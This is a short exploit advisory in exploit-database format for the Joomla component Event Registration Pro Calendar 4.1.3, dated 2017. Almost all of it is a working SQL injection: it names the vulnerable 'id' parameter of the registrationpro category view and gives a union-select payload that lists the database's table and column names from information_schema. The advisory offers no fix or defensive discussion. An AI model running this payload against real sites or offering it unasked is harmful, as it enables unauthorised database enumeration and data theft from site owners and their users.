Joomla! Component Event Registration Pro Calendar 4.1.3 - SQL Injection

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# Exploit Title: Joomla! Component Event Registration Pro Calendar v4.1.3 - SQL Injection
# Dork: N/A
# Date: 02.08.2017
# Vendor : http://joomlashowroom.com/
# Software: https://www.joomlashowroom.com/products/event-registration-pro-calendar
# Demo: http://demo3.joomlashowroom.com/
# Version: 4.1.3
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# Author: Ihsan Sencan
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# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_registrationpro&view=category&id=[SQL]
# -33++union+select++make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),2,3,4--+-
# Etc..
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